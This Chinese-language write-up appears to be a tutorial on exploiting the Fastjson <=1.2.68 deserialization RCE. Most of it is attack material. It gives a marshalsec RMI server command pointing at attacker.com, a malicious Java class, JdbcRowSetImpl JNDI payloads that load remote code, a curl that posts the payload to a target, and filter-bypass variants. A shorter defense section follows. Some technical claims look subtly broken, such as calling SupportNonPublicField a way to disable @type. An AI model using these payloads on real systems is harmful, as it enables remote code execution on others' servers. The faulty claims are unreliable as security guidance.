记某众测Fastjson<=1.2.68反序列化RCE过程
字数 1366 2025-08-29 22:41:01
Fastjson<=1.2.68反序列化RCE漏洞分析与利用
前言
Fastjson是阿里巴巴开源的一个高性能JSON处理库,广泛用于Java应用程序中。在版本<=1.2.68中存在反序列化远程代码执行(RCE)漏洞,攻击者可以通过精心构造的JSON数据在目标系统上执行任意代码。
漏洞背景
Fastjson的反序列化漏洞历史由来已久,从1.2.24版本开始就不断有相关漏洞被披露。1.2.68版本虽然修复了之前的一些问题,但仍然存在可利用的反序列化点。
漏洞利用前提条件
- 目标系统使用Fastjson<=1.2.68版本
- 目标系统存在JSON数据反序列化操作
- 目标系统网络可出站(或存在可利用的内网服务)
漏洞检测
Fastjson依赖库判断
-
通过报错信息识别:
- 发送非法JSON数据,观察返回错误是否包含"fastjson"字样
- 示例:
{"@type":"java.lang.Class"}
-
通过DNS查询识别:
- 构造包含DNS查询的payload,观察是否有DNS解析请求
- 示例:
{"@type":"java.net.Inet4Address","val":"dnslog.cn"}
漏洞利用步骤
1. 搭建恶意RMI/LDAP服务
攻击者需要搭建一个恶意的RMI或LDAP服务来提供恶意类加载:
# 使用marshalsec工具搭建RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099
2. 构造恶意Exploit类
创建包含恶意代码的Java类文件:
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译后放置在攻击者控制的Web服务器上。
3. 构造恶意JSON Payload
针对Fastjson<=1.2.68的payload示例:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://attacker.com:1099/Exploit",
"autoCommit":true
}
4. 发送Payload触发漏洞
将构造好的JSON数据发送到目标系统的Fastjson反序列化接口:
curl -X POST --data '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com:1099/Exploit","autoCommit":true}' http://target.com/api/json
绕过技巧
对于某些环境限制,可以采用以下绕过方式:
-
使用特殊字符绕过:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://attacker.com/Exploit","autoCommit":true} -
使用十六进制编码:
{"@type":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://attacker.com/Exploit","autoCommit":true} -
使用LDAP替代RMI:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}
防御措施
-
升级Fastjson:
- 升级到最新版本(1.2.83或更高)
- 使用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true);
-
输入验证:
- 对输入的JSON数据进行严格验证
- 禁用
@type特性:JSON.parseObject(jsonStr, Object.class, Feature.SupportNonPublicField)
-
JVM防护:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.ldap.object.trustURLCodebase=false
- 设置
-
网络限制:
- 限制应用程序的出站连接
- 使用网络防火墙规则限制不必要的协议
漏洞验证工具
-
手动验证:
curl -X POST --data '{"@type":"java.net.Inet4Address","val":"dnslog.xxx"}' http://target.com/api/json -
自动化工具:
- fastjson_tool:https://github.com/wyzxxz/fastjson_rce_tool
- FastjsonScan:https://github.com/earayu/fastjson_scanner
总结
Fastjson<=1.2.68的反序列化漏洞是一个严重的安全问题,攻击者可以通过精心构造的JSON数据在目标系统上执行任意代码。及时升级到安全版本并实施适当的防御措施是保护系统的关键。